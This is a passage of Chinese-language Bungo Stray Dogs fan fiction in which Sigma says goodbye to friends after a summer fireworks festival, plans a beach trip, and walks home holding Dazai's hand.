大仓烨子沉默了一瞬,然后转过身,看向身后那三个站得笔直的男人。
立原道造正在假装看风景。
条野采菊脸上挂着温和的微笑,仿佛什么都没听见。
末广铁肠站得笔直,目光坦坦荡荡地落在西格玛身上。
大仓烨子的眼角跳了跳。
“看够了吧?”她说,语气里带着一点冷意,“你们?”
立原道造的身体明显僵硬了一瞬。
条野采菊的微笑弧度没有丝毫变化。
末广铁肠认真地想了想,然后点了点头:“暂时看够了。”
大仓烨子:“……”
她深吸一口气,转身面对西格玛时,语气又柔和下来:“我先带他们回去了。下次……”
她顿了顿。
“下次再见。”
西格玛点点头,眼睛弯了弯。
“下次见。”
大仓烨子转身,大步朝人群外走去。玫粉色的马尾在空中划出一道凌厉的弧度,那枚玫瑰发夹在灯火下折射出细碎的光。
三个男人跟在她身后,步伐整齐,像一支训练有素的队伍。
只是立原道造在转身时,目光在西格玛身上停留了最后一秒。
然后他低下头,跟着副队长消失在夜色里。
西格玛目送他们离开,然后和直美一起走向苹果糖的小摊。
“烨子小姐好像很开心呢。”直美挽着她的手臂,笑眯眯地说,“她看到西格玛酱的时候,眼睛都亮了。”
西格玛垂下眼睫,没有接话。
但她的唇角,弯着一点极浅的弧度。
苹果糖的摊前排着不长不短的队。西格玛和直美站在队尾,等着轮到自己。
“对了,”直美忽然眼睛一亮,像是想起了什么绝妙的主意,“夏天除了烟花大会,当然还少不了去游泳啊!”
西格玛闻言轻轻转过头,目光落在她兴奋的脸上,语气带着几分疑惑:“游泳?”
“没错没错!海边、沙滩、还有漂亮的泳装!”
直美兴奋地晃了晃西格玛的手,满眼期待地追问,“西格玛酱会游泳吗?”
西格玛想了想,轻轻摇了摇头。
“那正好!我们可以一起去!”直美拍手道,“我教你!下周怎么样?找个天气好的日子!”
西格玛看着她亮晶晶的眼睛,缓缓点了点头。
“好。”
就在这时,旁边传来一阵窸窸窣窣的动静。
中岛敦站在不远处,手里还拿着刚买的苹果糖,但整个人像是被点了穴一样僵在原地。
他的目光落在西格玛身上。
准确地说,是落在她穿着浴衣纤细的身形上。
然后不知道想到了什么,脸“腾”地一下红透了。
他飞快地捂住鼻子,转过身去。
“敦?”国木田独步皱眉看他,“你怎么了?”
“没、没什么!”中岛敦的声音闷闷的,带着一点鼻音,“就是……天气有点热……”
国木田独步抬眼望了望拂着凉风的悠然夏夜,眉头拧得更紧了。
显然对这个说辞半信半疑。
不过在短暂思索后,他还是郑重地拿出笔记本,将“与西格玛一同前往海边”这件事认真记录了下来。
不远处,中原中也的帽檐压得更低了。但他微微泛红的耳尖,在夏日灯火下无处遁形。
芥川龙之介面无表情地站在原地,只是喉结轻轻动了一下。
森鸥外唇角的笑意加深了几分,什么都没说。
苹果糖买完,西格玛和直美走回侦探社的聚集地。
她小口小口地吃着糖苹果,糖衣在嘴里化开,甜丝丝的。
“对了对了,”直美忽然想起什么,“刚才说的游泳,大家都听到了吧?”
她环顾四周,目光在每个人脸上转了一圈。
中岛敦立刻把脸转向另一边。国木田独步不动声色地推了推眼镜。谷崎润一郎温和地笑了笑,什么都没说。
“那就这么说定了!”直美拍板道,“下周,大家一起!”
“一起?”与谢野晶子闻言挑了挑眉,语气里带着几分玩味。
“对呀!侦探社全体!”直美理所当然地说,“难得夏天嘛!”
宫泽贤治立刻眼睛一亮:“海边真好呢!能捡贝壳还能抓小鱼!”
福泽谕吉站在一旁,没有反对。
算是默许了这个提议。
而港口□□那边,森鸥外不知何时又踱了过来。他笑眯眯地开口:
“既然是难得的夏日活动,不如也算上我们一份?”
太宰治挑了挑眉。
“休战时期,”森鸥外的笑容滴水不漏,“就当是交好会,如何?”
太宰治看了他一眼,似笑非笑。
“随你。”
福泽谕吉沉默地凝视着森鸥外几秒,最终也轻轻点了点头,应允了这场意外的同行。
于是,一场游泳,莫名其妙地演变成了两方会晤。
武装侦探社、港口□□,将在同一片海滩上,共度夏日时光。
而最后演变成沙滩排球赛,已经是后话了。
烟花大会散场,人群渐渐稀疏。
西格玛和侦探社的众人一一道别。
“路上小心。”国木田独步认真叮嘱。
“西格玛酱明天见!”直美挥着手,拉着谷崎润一郎一起走了。
泉镜花朝她挥了挥手,眼睛亮亮的。
中岛敦红着脸说了声“晚安”,然后泉镜花一同离开了。
与谢野晶子点了点头,算是告别。
福泽谕吉目光平静的注视着西格玛,随后轻轻点了点头。
一旁的江户川乱步双手插在袖子里,背过身去,慢悠悠地走了。没人看到他的微微发红的脸。
最后只剩下西格玛和太宰治。
他们并肩走在回去的路上。
夜风很凉,带着夏夜特有的潮湿气息。
街道两旁的灯笼还亮着,但人群已经散尽,只有偶尔几个晚归的行人匆匆走过。
木屐踩在石板路上,发出清脆的声响。
两人都没有说话。
太宰治走在她身侧,步伐依旧迁就着她的节奏,比平时慢了许多。
他的目光落在前方的夜色里,脸上没有平日的笑意,只是安静地走着。
走着走着,他忽然垂下眼眸。
烟花易逝。
这句话不知怎的就浮上心头。
他想起刚才那漫天绽放又转瞬消散的光,想起那些被人们仰望着、赞叹着、然后又迅速遗忘的瞬间。
美丽的东西,总是走得很快。
他想起那些从他生命里走过的人,那些短暂停留又离开的光。
想起自己一直以来站在人群边缘的位置,看着热闹,却从不真正属于任何热闹。
他想起她站在烟花下的样子,仰着脸,眼睛里盛满了光。
那道光,也会消散吗。
他不知道。
他只知道此刻走在她身边,听着她的木屐声和自己的脚步声重叠在一起,心里有一种奇异的、安宁的感觉。
像是漂泊了很久的船,终于找到了可以停靠的岸。
但他没有说出口。
他只是垂下眼眸,继续往前走。
然后——
一只小小的、柔软的手,轻轻握住了他的手。
太宰治的脚步顿住了。
他低下头,看着那只握着自己的手。
小小的,白皙的,指节纤细,正轻轻地、却又稳稳地握着他的手。
他顺着那只手往上看,看到她的侧脸。
她没有看他。她只是继续往前走,目视前方。
她的脸上没有红晕,没有羞涩,只有一种安静的、理所当然的坦然。
但她的手握着他的手,握得很稳。
“……西格玛?”他的声音有一点哑。
西格玛没有停下脚步。
但她开口了,声音轻轻的,像是在陈述一个再自然不过的事实:
“太宰需要被牵住。”
太宰治愣住了。
夜风从耳畔掠过,带来她身上若有若无的气息,像是夏日祭的糖果,又像是雨后的青草。
太宰治垂下眼,看着两人交握的手。她的手指微微用力,像是怕他会突然松开似的。
他忽然想笑——这个傻姑娘,明明是他更怕她会放手。
可他没有笑。
他只是静静地感受着掌心传来的温度,柔软的,温热的,带着一点夏夜的潮湿。
那只手太小了,小到他几乎能完全包裹住。
可就是这样一只小小的手,稳稳地握着他,像握着一只漂泊的船。
她在牵着他走。
这个念头浮上来的时候,他心里忽然涌起一种奇异的感觉。
像是某处一直紧绷着的弦,忽然松开了。
他想起刚才自己那些乱七八糟的思绪。想起那些烟花,那些离开的人,那些永远站在人群边缘的瞬间。
那些他从未对任何人说过的东西,那些藏在他玩世不恭的笑容背后的东西。
她感觉到了。
她没有看他,没有问他,没有说任何多余的话。但她感觉到了。
她感觉到了他那一刻的低落。感觉到了他藏起来的孤独。
感觉到了他那些从未说出口的、关于“易逝”的念头。
就像当初他感觉到她的无措一样。
那一瞬间,他们之间仿佛有什么东西轻轻连接在了一起。
不是语言。不是目光。是比那些更深的东西。
是心吗?
太宰治不知道。
但他忽然觉得,在这一刻,在这个安静的、月光铺满的街道上,在这个木屐声轻轻回响的夜里——她懂他。
不是那种用言语说出来的懂。是那种不需要说,就能感受到的懂。
就像她感受到了他的孤独,就像他曾经感受到她的漂泊。
他们的心,在这一瞬间,是不是真的相遇了呢?
“就像当时的我需要一个容身之所一样。”她继续说,声音平稳,没有起伏,却带着一种柔软的坚定,“那时候是你握住我的手。现在——”
她顿了顿。
“换我握住你吧。”
太宰治站在原地,一动不动。
他看着她,看着她的侧脸,看着她垂下的长睫,看着她脸上那种平静的、毫无杂质的坦然。
她感觉到了他。
感受到了他的思绪。
在这一瞬间,他们的心与心是不是彼此交汇了呢?
她不是在表达什么。
她只是在做一件她觉得应该做的事。
就像当初他握住她的手一样。
不是因为羞涩,不是因为心动,不是因为那些复杂的、纠缠的情感。
只是因为——他需要。
而她想给他。
太宰治的眼眶忽然有一点发热。
很轻,很短,只是一瞬间的事。
然后他弯起唇角,笑了。
那个笑容,和平时那些玩世不恭的笑都不一样。是真正的、从心底漫出来的、带着温度的笑。
他收拢手指,牢牢地握住了她的手。
她的手很小,很软,被他完全包裹在掌心里。
“要握紧哦。”他说,声音轻轻的,像是怕惊扰什么珍贵的东西。
西格玛没有转头。
但她点了点头。
她的手在他掌心里轻轻动了动,然后回握住他。
夜风拂过,带着夏日祭残留的烟火气息,和远处隐约的花香。
他们继续往前走。
脚步很慢。
比来时更慢。
比任何时候都慢。
太宰治看着她被月光勾勒出的侧脸,看着她发间那枚樱花发夹在夜色里泛着柔和的光,感受着掌心里那只小小的、柔软的手。
他想起刚才那漫天的烟花。
那些光,确实消散了。
但他握着的东西,比烟花更长久。
他忽然在心里想——
牵手,或许就是这个世界上最浪漫的事了。
他没有说出口。
只是把那只手,握得更紧了一些。
月光洒在两人身上,将他们的影子拉得很长很长,交叠在一起,分不清你我。
前方,是回家的路。
身后,是渐渐远去的灯火。
而他们,就这样牵着手,慢慢地、慢慢地往前走。
走向那个有彼此在的明天。